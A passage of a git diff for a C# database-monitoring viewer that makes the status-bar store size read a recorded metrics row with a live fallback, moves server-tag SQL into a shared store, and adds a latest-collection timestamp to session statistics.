+    /// <para>#5555: the figure the field shows is now the self-metrics row, so it is only as fresh as the service's last
+    /// sweep: about an hour old on average (mean ~59 min between sweeps), and older still if the sweep stalls while
+    /// ingest continues. That is acceptable for a display-only field, but the five minutes now caches a figure that
+    /// changes about hourly; it still bounds the store round trips (one recorded read per window), it no longer keeps the
+    /// field fresher than that row. Only a store with no recorded size yet falls back to the live walk, and gets the
+    /// live figure.</para></summary>
     public static readonly TimeSpan StoreSizeCacheLifetime = TimeSpan.FromMinutes(5);
 
     /// <summary>#4477: single-flighted and TTL-memoized the same way as
@@ -108,15 +113,128 @@ public async Task<Dictionary<int, DateTime>> GetServerFreshnessAsync(Cancellatio
 
     /// <summary>The store database's size in bytes, or null when it can't be read. Cached for
     /// <see cref="StoreSizeCacheLifetime"/> (#4477): a call inside the window returns the cached reading with
-    /// no store round trip at all, rather than re-running <see cref="StoreSizeSql"/>'s whole-file-directory
-    /// walk on every status-bar refresh.</summary>
+    /// no store round trip at all. A cold read takes the size the service recorded on its last self-metrics sweep
+    /// (up to one sweep old, see <see cref="StoreSizeCacheLifetime"/>) and walks the live directory
+    /// (<see cref="StoreSizeSql"/>) only when none is recorded or the recorded read fails; a recorded read that times out
+    /// keeps the last size shown instead (<see cref="ResolveStoreSizeAsync"/>).</summary>
     public Task<long?> GetStoreSizeBytesAsync(CancellationToken cancellationToken = default)
         => _storeSizeCache.GetOrStartAsync(FetchStoreSizeBytesAsync, shouldCache: static bytes => bytes is not null, cancellationToken);
 
     /// <summary>The actual read behind <see cref="GetStoreSizeBytesAsync"/>'s single-flight gate. Runs with
     /// <see cref="CancellationToken.None"/> (via <see cref="SingleFlightTtlCache{T}"/>): shared work, not any
     /// one caller's.</summary>
-    private async Task<long?> FetchStoreSizeBytesAsync()
+    private Task<long?> FetchStoreSizeBytesAsync() =>
+        ResolveStoreSizeAsync(ReadRecordedStoreSizeAsync, ReadLiveStoreSizeAsync, StoreSizeWarn ?? ViewerLogger.Warn);
+
+    /// <summary>Test hook: where the fallback WARN goes (the log source and the message), <see cref="ViewerLogger.Warn"/> when null.</summary>
+    internal Action<string, string>? StoreSizeWarn { get; set; }
+
+    /// <summary>The last size the status-bar field read, kept so a recorded read that times out can leave it showing (#5555).
+    /// Guarded by <see cref="_storeSizeStateGate"/>.</summary>
+    private long? _lastStoreSizeBytes;
+
+    /// <summary>The cause of the last recorded-size failure that was logged, so the same cause is logged once per session
+    /// and a different one again (#5555). Guarded by <see cref="_storeSizeStateGate"/>.</summary>
+    private string? _loggedRecordedSizeFailure;
+
+    private readonly object _storeSizeStateGate = new();
+
+    /// <summary>A command deadline, detected structurally (Npgsql's own <see cref="TimeoutException"/> in the chain, or the
+    /// server's 57014 cancel), never by message text.</summary>
+    internal static bool IsCommandTimeout(Exception ex) =>
+        (ex is PostgresException pg && pg.SqlState == "57014")
+        || ex is TimeoutException
+        || ex.InnerException is TimeoutException;
+
+    /// <summary>
+    /// #5555: the recorded size first, the live directory walk only when it is needed.
+    /// <list type="bullet">
+    /// <item>A recorded figure is the answer.</item>
+    /// <item>No recorded row (a store that has not swept yet) walks the live directory.</item>
+    /// <item>A recorded read that fails for another reason (no SELECT on <c>collect.store_metrics</c>, a store without the
+    /// relation) is logged as a WARN naming the fallback and the cause, once per session for the same cause, and walks the
+    /// live directory: that is the answer the field had before the recorded read existed.</item>
+    /// <item>A recorded read that TIMES OUT does not walk the live directory: a store slow enough to time out a one-row read
+    /// would only be slower on the walk, and the field is display only. It keeps the last size it showed (null when there
+    /// was none) and the WARN says so.</item>
+    /// </list>
+    /// </summary>
+    internal async Task<long?> ResolveStoreSizeAsync(Func<Task<long?>> readRecorded, Func<Task<long?>> readLive, Action<string, string> warn)
+    {
+        try
+        {
+            var recorded = await readRecorded();
+            if (recorded is not null)
+            {
+                RememberStoreSize(recorded);
+                return recorded;
+            }
+        }
+        catch (Exception ex)
+        {
+            var timedOut = IsCommandTimeout(ex);
+            WarnRecordedSizeFailureOnce(ex, timedOut, warn);
+            if (timedOut)
+            {
+                lock (_storeSizeStateGate)
+                {
+                    return _lastStoreSizeBytes;
+                }
+            }
+        }
+
+        var live = await readLive();
+        RememberStoreSize(live);
+        return live;
+    }
+
+    private void RememberStoreSize(long? bytes)
+    {
+        if (bytes is null)
+        {
+            return;
+        }
+
+        lock (_storeSizeStateGate)
+        {
+            _lastStoreSizeBytes = bytes;
+        }
+    }
+
+    private void WarnRecordedSizeFailureOnce(Exception ex, bool timedOut, Action<string, string> warn)
+    {
+        var cause = $"{ex.GetType().Name}: {ex.Message}";
+        lock (_storeSizeStateGate)
+        {
+            if (string.Equals(_loggedRecordedSizeFailure, cause, StringComparison.Ordinal))
+            {
+                return;
+            }
+
+            _loggedRecordedSizeFailure = cause;
+        }
+
+        warn(
+            "ViewerDataService",
+            timedOut
+                ? $"The recorded store size read timed out, so the status bar keeps the last size it showed (or none) and does not walk the live directory | {cause}"
+                : $"The recorded store size could not be read (collect.store_metrics), so the status bar walks the live directory instead; a store that never reads the recorded row pays that walk every {StoreSizeCacheLifetime.TotalMinutes:0} minutes | {cause}");
+    }
+
+    private async Task<long?> ReadRecordedStoreSizeAsync()
+    {
+        /* Walk finding D15: the status-bar field is display only, so it reads the size the service already records on its
+           hourly self-metrics sweep (the #3209 shape the service's own disk check reads) and measures the live directory
+           only for a store that has not swept yet. pg_database_size took a mean of 4.4 s (worst 39.9 s) on a large store,
+           every five minutes, for a number the field rounds to a whole MB or one GB decimal. The recorded row is an
+           optimisation: ResolveStoreSizeAsync keeps the live answer when it cannot be read. */
+        await using var recorded = _dataSource.CreateCommand(StoreSelfMetrics.LatestStoreSizeSql);
+        recorded.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+        var recordedBytes = await recorded.ExecuteScalarAsync(CancellationToken.None);
+        return recordedBytes is null || recordedBytes == DBNull.Value ? (long?)null : Convert.ToInt64(recordedBytes);
+    }
+
+    private async Task<long?> ReadLiveStoreSizeAsync()
     {
         await using var command = _dataSource.CreateCommand(StoreSizeSql);
         command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ServerTags.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ServerTags.cs
index 5fddbddfd8..9678c48898 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ServerTags.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ServerTags.cs
@@ -9,7 +9,9 @@
 using System.Collections.Generic;
 using System.Threading;
 using System.Threading.Tasks;
+using System.Linq;
 using Npgsql;
+using PerformanceMonitor.Darling.Storage;
 using PerformanceMonitor.Ui;
 
 namespace PerformanceMonitor.Darling.Viewer;
@@ -29,8 +31,11 @@ public sealed record DarlingTagAssignment(int ServerId, int TagId);
 /// <para><b>Direct writes, not the command queue.</b> The viewer's default seat is <c>admin</c>, which
 /// holds write on the config tables, and it already writes <c>config_monitored_servers</c> directly. The
 /// <c>config_command</c> queue exists for imperative actions only the SERVICE can perform — reaching a
-/// monitored SQL Server, flipping service state — and tags are store state the service never reads, so
-/// routing them through the queue would buy nothing and cost an enqueue-and-poll round trip per edit.
+/// monitored SQL Server, flipping service state — and a tag write is plain store state, so
+/// routing them through the queue would buy nothing and cost an enqueue-and-poll round trip per edit. The service
+/// does read tags, but only to resolve tag-scoped custom alert rules (#3350, #3367) through
+/// <c>CustomAlertRuleStore.ListTagMembersSql</c>, and it re-reads membership on its own cache refresh, so a tag
+/// write needs no reload beacon either.
 /// Every write goes through <see cref="ExecuteWriteAsync"/>, so a read-only <c>viewer</c> seat degrades
 /// to <see cref="ViewerReadOnlyException"/> rather than a raw 42501.</para>
 ///
@@ -39,211 +44,110 @@ public sealed record DarlingTagAssignment(int ServerId, int TagId);
 /// freely and the executor runs as superuser, so that grant is full service control.</para>
 ///
 /// <para>Bare table names resolve through the connection's search_path to the <c>config</c> schema, the
-/// same as every other config write in this service. The tree itself is assembled IN MEMORY from these
-/// flat rows (the table is dozens of rows) — no recursive CTE, no <c>ltree</c>, no closure table — and
-/// the depth cap and cycle checks live there too.</para>
+/// same as every other config write in this service. The SQL and the depth, cycle, name and colour rules live
+/// in <c>ServerTagStore</c> and <c>ServerTagRules</c> (Storage), shared with the MCP tools; this class is thin
+/// wrappers over them.</para>
 /// </summary>
 public sealed partial class ViewerDataService
 {
-    /// <summary>Every tag, flat. The caller builds the tree. Ordered by name so sibling order is stable
-    /// without a reordering UI.</summary>
-    public const string ServerTagsSelectSql =
-        "SELECT id, name, parent_id, sort_order, colour FROM server_tags ORDER BY name";
-
-    /// <summary>Every server-to-tag assignment, flat.</summary>
-    public const string ServerTagMapSelectSql =
-        "SELECT server_id, tag_id FROM server_tag_map";
-
-    /// <summary>Creates a tag. $1 name, $2 parent_id (NULL = root). Returns the new id. A duplicate name
-    /// under the same parent violates the per-parent unique index and surfaces as 23505.</summary>
-    public const string ServerTagInsertSql =
-        "INSERT INTO server_tags (name, parent_id) VALUES ($1, $2) RETURNING id";
-
-    /// <summary>Renames a tag. $1 id, $2 name.</summary>
-    public const string ServerTagRenameSql =
-        "UPDATE server_tags SET name = $2 WHERE id = $1";
-
-    /// <summary>Sets (or clears, with NULL) a tag's colour. $1 id, $2 colour (<c>#RRGGBB</c> or NULL).</summary>
-    public const string ServerTagSetColourSql =
-        "UPDATE server_tags SET colour = $2 WHERE id = $1";
-
-    /// <summary>Reparents a tag. $1 id, $2 new parent_id (NULL = promote to root). The caller must have
-    /// already rejected cycles and depth-cap violations against its in-memory tree.</summary>
-    public const string ServerTagReparentSql =
-        "UPDATE server_tags SET parent_id = $2 WHERE id = $1";
-
-    /// <summary>Deletes a tag. $1 id. The self-referencing FK cascades to descendants and the map cascades
-    /// to their assignments — it can never reach <c>config_monitored_servers</c>, so no server, credential
-    /// or collected history is touched. Callers still refuse the delete when the tag has children, and
-    /// offer to move them first, rather than silently removing a subtree.</summary>
-    public const string ServerTagDeleteSql =
-        "DELETE FROM server_tags WHERE id = $1";
-
-    /// <summary>Whether a tag has child tags. $1 id. Read immediately before a delete, because the tag
-    /// tables are SHARED and this viewer's snapshot may be up to one refresh interval stale.</summary>
-    public const string ServerTagHasChildrenSql =
-        "SELECT EXISTS (SELECT 1 FROM server_tags WHERE parent_id = $1)";
-
-    /// <summary>Assigns a tag to many servers in ONE statement. $1 server ids, $2 tag id. Bulk by design:
-    /// tagging 100 servers row-by-row would be 100 round trips. Already-assigned servers are no-ops.</summary>
-    public const string ServerTagAssignSql =
-        "INSERT INTO server_tag_map (server_id, tag_id) SELECT unnest($1), $2 ON CONFLICT DO NOTHING";
-
-    /// <summary>Removes a tag from many servers in one statement. $1 server ids, $2 tag id.</summary>
-    public const string ServerTagUnassignSql =
-        "DELETE FROM server_tag_map WHERE server_id = ANY($1) AND tag_id = $2";
-
-    /// <summary>Drops every tag assignment for a server. $1 server_id. Called when a server is REMOVED:
-    /// <c>server_id</c> is a deterministic hash of host+database+read-only-intent, so leaving orphaned map
-    /// rows behind would make a removed-then-re-added server silently RESURRECT its old tags.</summary>
-    public const string ServerTagClearForServerSql =
-        "DELETE FROM server_tag_map WHERE server_id = $1";
+    private ServerTagStore? _tagStore;
 
-    /// <summary>Reads every tag, flat, for the in-memory tree build.</summary>
-    public async Task<List<DarlingTag>> GetServerTagsAsync(CancellationToken cancellationToken = default)
+    private ServerTagStore TagStore =>
+        _tagStore ??= new ServerTagStore(_dataSource, ViewerCommandDeadlines.CurrentInteractiveReadSeconds);
+
+    /// <summary>Runs a tag-store call with the viewer's write mappings: 42501 becomes
+    /// <see cref="ViewerReadOnlyException"/>, 42P01 and 42703 become <see cref="ViewerSchemaSkewException"/>,
+    /// the same as <see cref="ExecuteWriteAsync"/>.</summary>
+    private static async Task<T> TagWriteAsync<T>(System.Func<Task<T>> write)
     {
-        var tags = new List<DarlingTag>();
-        await using var command = _dataSource.CreateCommand(ServerTagsSelectSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
+        try
         {
-            tags.Add(new DarlingTag(
-                reader.GetInt32(0),
-                reader.GetString(1),
-                reader.IsDBNull(2) ? null : reader.GetInt32(2),
-                reader.GetInt32(3),
-                reader.IsDBNull(4) ? null : reader.GetString(4)));
+            return await write();
         }
-
-        return tags;
-    }
-
-    /// <summary>Reads every server-to-tag assignment, flat.</summary>
-    public async Task<List<DarlingTagAssignment>> GetServerTagAssignmentsAsync(CancellationToken cancellationToken = default)
-    {
-        var assignments = new List<DarlingTagAssignment>();
-        await using var command = _dataSource.CreateCommand(ServerTagMapSelectSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
+        catch (PostgresException ex) when (ex.SqlState == InsufficientPrivilegeSqlState)
         {
-            assignments.Add(new DarlingTagAssignment(reader.GetInt32(0), reader.GetInt32(1)));
+            throw new ViewerReadOnlyException(ex);
         }
-
-        return assignments;
-    }
-
-    /// <summary>Creates a tag and returns its id, assigning it a palette colour derived from that id.</summary>
-    public async Task<int> CreateServerTagAsync(string name, int? parentId, CancellationToken cancellationToken = default)
-    {
-        int id;
-        await using (var command = _dataSource.CreateCommand(ServerTagInsertSql))
+        catch (PostgresException ex) when (ex.SqlState is UndefinedColumnSqlState or UndefinedTableSqlState)
         {
-            command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-            command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = name });
-            command.Parameters.Add(parentId is int parent
-                ? new NpgsqlParameter<int> { TypedValue = parent }
-                : new NpgsqlParameter { Value = System.DBNull.Value });
-
-            try
-            {
-                id = (int)(await command.ExecuteScalarAsync(cancellationToken))!;
-            }
-            catch (PostgresException ex) when (ex.SqlState == InsufficientPrivilegeSqlState)
-            {
-                throw new ViewerReadOnlyException(ex);
-            }
+            throw new ViewerSchemaSkewException(ex);
         }
-
-        /* Stamp the id-derived palette colour now that the id exists (#2008 2a), so a new tag has a stable,
-           reproducible colour the user can later override. The insert already proved the seat can write, so
-           this second statement runs only on a writable seat. */
-        await SetServerTagColorAsync(id, TagColorPalette.ForTagId(id), cancellationToken);
-        return id;
     }
 
-    /// <summary>Renames a tag.</summary>
-    public async Task RenameServerTagAsync(int tagId, string name, CancellationToken cancellationToken = default)
+    /// <summary>Returns the stored row for an Ok result, or throws the refusal's message as
+    /// <see cref="System.InvalidOperationException"/>.</summary>
+    private static ServerTagWriteResult.Ok RequireOk(ServerTagWriteResult result) => result switch
     {
-        await using var command = _dataSource.CreateCommand(ServerTagRenameSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = tagId });
-        command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = name });
-        await ExecuteWriteAsync(command, cancellationToken);
-    }
+        ServerTagWriteResult.Ok ok => ok,
+        ServerTagWriteResult.NotFound nf => throw new System.InvalidOperationException(nf.Message),
+        ServerTagWriteResult.Conflict c => throw new System.InvalidOperationException(c.Message),
+        ServerTagWriteResult.Refused r => throw new System.InvalidOperationException(r.Message),
+        _ => throw new System.InvalidOperationException("The tag write was not applied."),
+    };
 
-    /// <summary>Sets a tag's colour, or clears it to neutral when <paramref name="colour"/> is null. Goes
-    /// through <see cref="ExecuteWriteAsync"/>, so a read-only seat degrades to
-    /// <see cref="ViewerReadOnlyException"/>.</summary>
-    public async Task SetServerTagColorAsync(int tagId, string? colour, CancellationToken cancellationToken = default)
-    {
-        await using var command = _dataSource.CreateCommand(ServerTagSetColourSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = tagId });
-        command.Parameters.Add(colour is null
-            ? new NpgsqlParameter { Value = System.DBNull.Value }
-            : new NpgsqlParameter<string> { TypedValue = colour });
-        await ExecuteWriteAsync(command, cancellationToken);
-    }
+    /// <summary>Reads every tag, flat, for the in-memory tree build.</summary>
+    public async Task<List<DarlingTag>> GetServerTagsAsync(CancellationToken cancellationToken = default) =>
+        (await TagStore.ReadTagsAsync(cancellationToken))
+        .Select(t => new DarlingTag(t.Id, t.Name, t.ParentId, t.SortOrder, t.Colour))
+        .ToList();
 
-    /// <summary>Moves a tag under a new parent (null = promote to root). Cycle and depth-cap rejection is
-    /// the caller's job, against its in-memory tree.</summary>
-    public async Task ReparentServerTagAsync(int tagId, int? newParentId, CancellationToken cancellationToken = default)
+    /// <summary>Reads every server-to-tag assignment, flat.</summary>
+    public async Task<List<DarlingTagAssignment>> GetServerTagAssignmentsAsync(CancellationToken cancellationToken = default) =>
+        (await TagStore.ReadAssignmentsAsync(cancellationToken))
+        .Select(a => new DarlingTagAssignment(a.ServerId, a.TagId))
+        .ToList();
+
+    /// <summary>The custom alert rules a delete of the tag would leave matching no server: those scoped to the
+    /// tag or a tag under it, from a fresh snapshot.</summary>
+    public async Task<IReadOnlyList<TagScopedRule>> GetServerTagDeleteImpactAsync(int tagId, CancellationToken cancellationToken = default) =>
+        ServerTagCoverage.RulesScopedInSubtree(await TagStore.ReadSnapshotAsync(cancellationToken), tagId);
+
+    /// <summary>Creates a tag and returns its id, assigning it a palette colour derived from that id.</summary>
+    public async Task<int> CreateServerTagAsync(string name, int? parentId, CancellationToken cancellationToken = default)
     {
-        await using var command = _dataSource.CreateCommand(ServerTagReparentSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = tagId });
-        command.Parameters.Add(newParentId is int parent
-            ? new NpgsqlParameter<int> { TypedValue = parent }
-            : new NpgsqlParameter { Value = System.DBNull.Value });
-        await ExecuteWriteAsync(command, cancellationToken);
+        var result = await TagWriteAsync(() => TagStore.CreateAsync(name, parentId, null, cancellationToken));
+        return RequireOk(result).Tag!.Id;
     }
 
+    /// <summary>Renames a tag.</summary>
+    public async Task RenameServerTagAsync(int tagId, string name, CancellationToken cancellationToken = default) =>
+        RequireOk(await TagWriteAsync(() => TagStore.UpdateAsync(
+            tagId, new ServerTagEdit(true, name, false, null, false, null), cancellationToken)));
+
+    /// <summary>Sets a tag's colour, or clears it to neutral when <paramref name="colour"/> is null. A read-only
+    /// seat degrades to <see cref="ViewerReadOnlyException"/>.</summary>
+    public async Task SetServerTagColorAsync(int tagId, string? colour, CancellationToken cancellationToken = default) =>
+        RequireOk(await TagWriteAsync(() => TagStore.UpdateAsync(
+            tagId, new ServerTagEdit(false, null, true, colour, false, null), cancellationToken)));
+
+    /// <summary>Moves a tag under a new parent (null = promote to root). The store refuses a cycle or a move
+    /// past the depth cap.</summary>
+    public async Task ReparentServerTagAsync(int tagId, int? newParentId, CancellationToken cancellationToken = default) =>
+        RequireOk(await TagWriteAsync(() => TagStore.UpdateAsync(
+            tagId, new ServerTagEdit(false, null, false, null, true, newParentId), cancellationToken)));
+
     /// <summary>Whether a tag currently has children, read fresh from the store.</summary>
-    public async Task<bool> ServerTagHasChildrenAsync(int tagId, CancellationToken cancellationToken = default)
-    {
-        await using var command = _dataSource.CreateCommand(ServerTagHasChildrenSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = tagId });
-        return (bool)(await command.ExecuteScalarAsync(cancellationToken))!;
-    }
+    public Task<bool> ServerTagHasChildrenAsync(int tagId, CancellationToken cancellationToken = default) =>
+        TagStore.HasChildrenAsync(tagId, cancellationToken);
 
-    /// <summary>Deletes a tag.</summary>
-    public async Task DeleteServerTagAsync(int tagId, CancellationToken cancellationToken = default)
-    {
-        await using var command = _dataSource.CreateCommand(ServerTagDeleteSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = tagId });
-        await ExecuteWriteAsync(command, cancellationToken);
-    }
+    /// <summary>Deletes a tag. The caller's confirmation dialog has already warned about scoped alert rules,
+    /// so the store is told the delete is confirmed.</summary>
+    public async Task DeleteServerTagAsync(int tagId, CancellationToken cancellationToken = default) =>
+        RequireOk(await TagWriteAsync(() => TagStore.DeleteAsync(tagId, confirm: true, cancellationToken)));
 
     /// <summary>Assigns one tag to many servers in a single statement.</summary>
-    public async Task AssignServerTagAsync(IReadOnlyList<int> serverIds, int tagId, CancellationToken cancellationToken = default)
-    {
-        await using var command = _dataSource.CreateCommand(ServerTagAssignSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int[]> { TypedValue = System.Linq.Enumerable.ToArray(serverIds) });
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = tagId });
-        await ExecuteWriteAsync(command, cancellationToken);
-    }
+    public async Task AssignServerTagAsync(IReadOnlyList<int> serverIds, int tagId, CancellationToken cancellationToken = default) =>
+        await TagWriteAsync(() => TagStore.AssignAsync(tagId, serverIds, cancellationToken));
 
     /// <summary>Removes one tag from many servers in a single statement.</summary>
-    public async Task UnassignServerTagAsync(IReadOnlyList<int> serverIds, int tagId, CancellationToken cancellationToken = default)
-    {
-        await using var command = _dataSource.CreateCommand(ServerTagUnassignSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int[]> { TypedValue = System.Linq.Enumerable.ToArray(serverIds) });
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = tagId });
-        await ExecuteWriteAsync(command, cancellationToken);
-    }
+    public async Task UnassignServerTagAsync(IReadOnlyList<int> serverIds, int tagId, CancellationToken cancellationToken = default) =>
+        await TagWriteAsync(() => TagStore.UnassignAsync(tagId, serverIds, cancellationToken));
 
     /// <summary>Drops every tag assignment for a removed server, so a re-add cannot resurrect old tags.</summary>
-    public async Task ClearServerTagsAsync(int serverId, CancellationToken cancellationToken = default)
-    {
-        await using var command = _dataSource.CreateCommand(ServerTagClearForServerSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        await ExecuteWriteAsync(command, cancellationToken);
-    }
+    public async Task ClearServerTagsAsync(int serverId, CancellationToken cancellationToken = default) =>
+        await TagWriteAsync(async () =>
+        {
+            await TagStore.ClearForServerAsync(serverId, cancellationToken);
+            return true;
+        });
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.SessionStats.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.SessionStats.cs
index 8dec6ce627..bcbeccb5f9 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.SessionStats.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.SessionStats.cs
@@ -44,7 +44,8 @@ public sealed record SessionStatsPoint(
     string? TopApplicationName,
     int? TopApplicationConnections,
     string? TopHostName,
-    int? TopHostConnections) : ISessionStatsPoint;
+    int? TopHostConnections,
+    DateTime? LatestCollectionTime = null) : ISessionStatsPoint;
 
 public sealed partial class ViewerDataService
 {
@@ -65,77 +66,7 @@ public sealed partial class ViewerDataService
     /// a bucket that merged nothing at its one collection's own raw time (ruling item 3). $4 the bucket
     /// width in minutes.</para>
     /// </summary>
-    public static readonly string SessionStatsSql = $"""
-        WITH raw AS
-        (
-            SELECT
-                collection_time,
-                GREATEST(date_bin(CAST($4 AS integer) * INTERVAL '1 minute', collection_time, {TrendBucketSql.OriginSql}), $2) AS bucket_start,
-                total_sessions,
-                running_sessions,
-                sleeping_sessions,
-                background_sessions,
-                dormant_sessions,
-                idle_sessions_over_30min,
-                sessions_waiting_for_memory,
-                databases_with_connections,
-                top_application_name,
-                top_application_connections,
-                top_host_name,
-                top_host_connections
-            FROM v_session_summary_stats
-            WHERE server_id = $1
-            AND   collection_time >= $2
-            AND   collection_time <= $3
-        ),
-        agg AS
-        (
-            SELECT
-                bucket_start,
-                AVG(COALESCE(total_sessions, 0)) AS total_sessions,
-                AVG(COALESCE(running_sessions, 0)) AS running_sessions,
-                AVG(COALESCE(sleeping_sessions, 0)) AS sleeping_sessions,
-                AVG(COALESCE(background_sessions, 0)) AS background_sessions,
-                AVG(COALESCE(dormant_sessions, 0)) AS dormant_sessions,
-                AVG(COALESCE(idle_sessions_over_30min, 0)) AS idle_sessions_over_30min,
-                AVG(COALESCE(sessions_waiting_for_memory, 0)) AS sessions_waiting_for_memory,
-                AVG(COALESCE(databases_with_connections, 0)) AS databases_with_connections,
-                MIN(collection_time) AS first_collection_time,
-                COUNT(*) AS collection_count
-            FROM raw
-            GROUP BY bucket_start
-        ),
-        latest AS
-        (
-            SELECT DISTINCT ON (bucket_start)
-                bucket_start,
-                top_application_name,
-                top_application_connections,
-                top_host_name,
-                top_host_connections
-            FROM raw
-            ORDER BY bucket_start, collection_time DESC
-        )
-        SELECT
-            agg.bucket_start,
-            agg.total_sessions,
-            agg.running_sessions,
-            agg.sleeping_sessions,
-            agg.background_sessions,
-            agg.dormant_sessions,
-            agg.idle_sessions_over_30min,
-            agg.sessions_waiting_for_memory,
-            agg.databases_with_connections,
-            latest.top_application_name,
-            latest.top_application_connections,
-            latest.top_host_name,
-            latest.top_host_connections,
-            agg.first_collection_time,
-            agg.collection_count
-        FROM agg
-        JOIN latest ON latest.bucket_start = agg.bucket_start
-        ORDER BY agg.bucket_start
-        """;
+    public static readonly string SessionStatsSql = ServerTrendSql.SessionSummary;
 
     /// <summary>
     /// The server-wide session-summary trend over the window, bucketed to <see cref="TrendBudget.Chart"/>'s
@@ -156,7 +87,7 @@ public async Task<List<SessionStatsPoint>> GetSessionStatsAsync(
 
         var rows = new List<(DateTime BucketStart, DateTime FirstCollectionTime, int Total, int Running, int Sleeping,
             int Background, int Dormant, int Idle, int WaitingForMemory, int DatabasesWithConnections,
-            string? TopAppName, int? TopAppConnections, string? TopHostName, int? TopHostConnections)>();
+            string? TopAppName, int? TopAppConnections, string? TopHostName, int? TopHostConnections, DateTime LatestCollectionTime)>();
         var everyBucketSingleton = true;
 
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
@@ -181,7 +112,8 @@ public async Task<List<SessionStatsPoint>> GetSessionStatsAsync(
                 reader.IsDBNull(9) ? null : reader.GetString(9),
                 reader.IsDBNull(10) ? null : reader.GetInt32(10),
                 reader.IsDBNull(11) ? null : reader.GetString(11),
-                reader.IsDBNull(12) ? null : reader.GetInt32(12)));
+                reader.IsDBNull(12) ? null : reader.GetInt32(12),
+                reader.GetDateTime(15)));
         }
 
         var result = new List<SessionStatsPoint>(rows.Count);
@@ -200,7 +132,8 @@ public async Task<List<SessionStatsPoint>> GetSessionStatsAsync(
                 row.TopAppName,
                 row.TopAppConnections,
                 row.TopHostName,
-                row.TopHostConnections));
+                row.TopHostConnections,
+                row.LatestCollectionTime));
         }
 
         return result;
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.SystemEvents.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.SystemEvents.cs
index 661c32fa63..31dcd7ab50 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.SystemEvents.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.SystemEvents.cs
@@ -35,7 +35,7 @@ namespace PerformanceMonitor.Darling.Viewer;
  * ViewerTimeHelper.FormatForDisplay the deadlock / blocked-process grids use (a Default Trace row is a
  * stored server wall clock instead, so it renders the bare wall time through
  * SystemEventRowFormat.StoredWallClock and never takes the repeated-hour offset, #4766). Only SevereError
- * adds a resolved DatabaseName (see ResolveDatabaseName).
+ * adds a resolved DatabaseName (see DatabaseNameHistory).
  */
 
 /// <summary>Shared machine-local render of a naive-UTC event timestamp for the System Events grids.</summary>
@@ -75,8 +75,8 @@ public sealed class SchedulerIssueRow(SchedulerIssueRecord record)
 
 /// <summary>
 /// One severe-error row (Severe Errors sub-tab). Mirrors <c>*_SevereErrors</c>. <see cref="DatabaseName"/>
-/// is resolved from the store's collected database_id↔database_name mapping (see
-/// <see cref="ViewerDataService.ResolveDatabaseName"/>) — Stage 2a's DB-free shred left it null.
+/// is resolved from the store's collected database_id↔database_name history, the name the id carried at the error's
+/// time (see <see cref="DatabaseNameHistory"/>, #5373) — Stage 2a's DB-free shred left it null.
 /// </summary>
 public sealed class SevereErrorRow(SevereErrorRecord record, string databaseName)
 {
@@ -328,57 +328,6 @@ AND   event_xml IS NOT NULL
         ORDER BY event_time DESC
         """;
 
-    /// <summary>
-    /// The server's latest database_id↔database_name mapping from the collected size-stats
-    /// (<c>DISTINCT ON (database_id)</c> keeps the most-recently-collected name for each id — handles a
-    /// dropped-and-recreated id). Feeds <see cref="ResolveDatabaseName"/> for the Severe Errors tab.
-    /// <c>database_size_stats</c> is the mapping source because it is the only collected table carrying
-    /// BOTH database_id and database_name for every online DB (system + user); <c>database_config</c>
-    /// carries the name but no id. $1 server_id.
-    /// </summary>
-    public const string DatabaseNameMapSql = """
-        SELECT DISTINCT ON (database_id)
-            database_id,
-            database_name
-        FROM v_database_size_stats
-        WHERE server_id = $1
-        ORDER BY database_id, collection_time DESC
-        """;
-
-    /// <summary>
-    /// Resolves a severe-error <c>database_id</c> to a display name using the collected mapping. A null or
-    /// 0 id means "no database context" (error_reported often carries database_id 0; <c>DB_NAME(0)</c> is
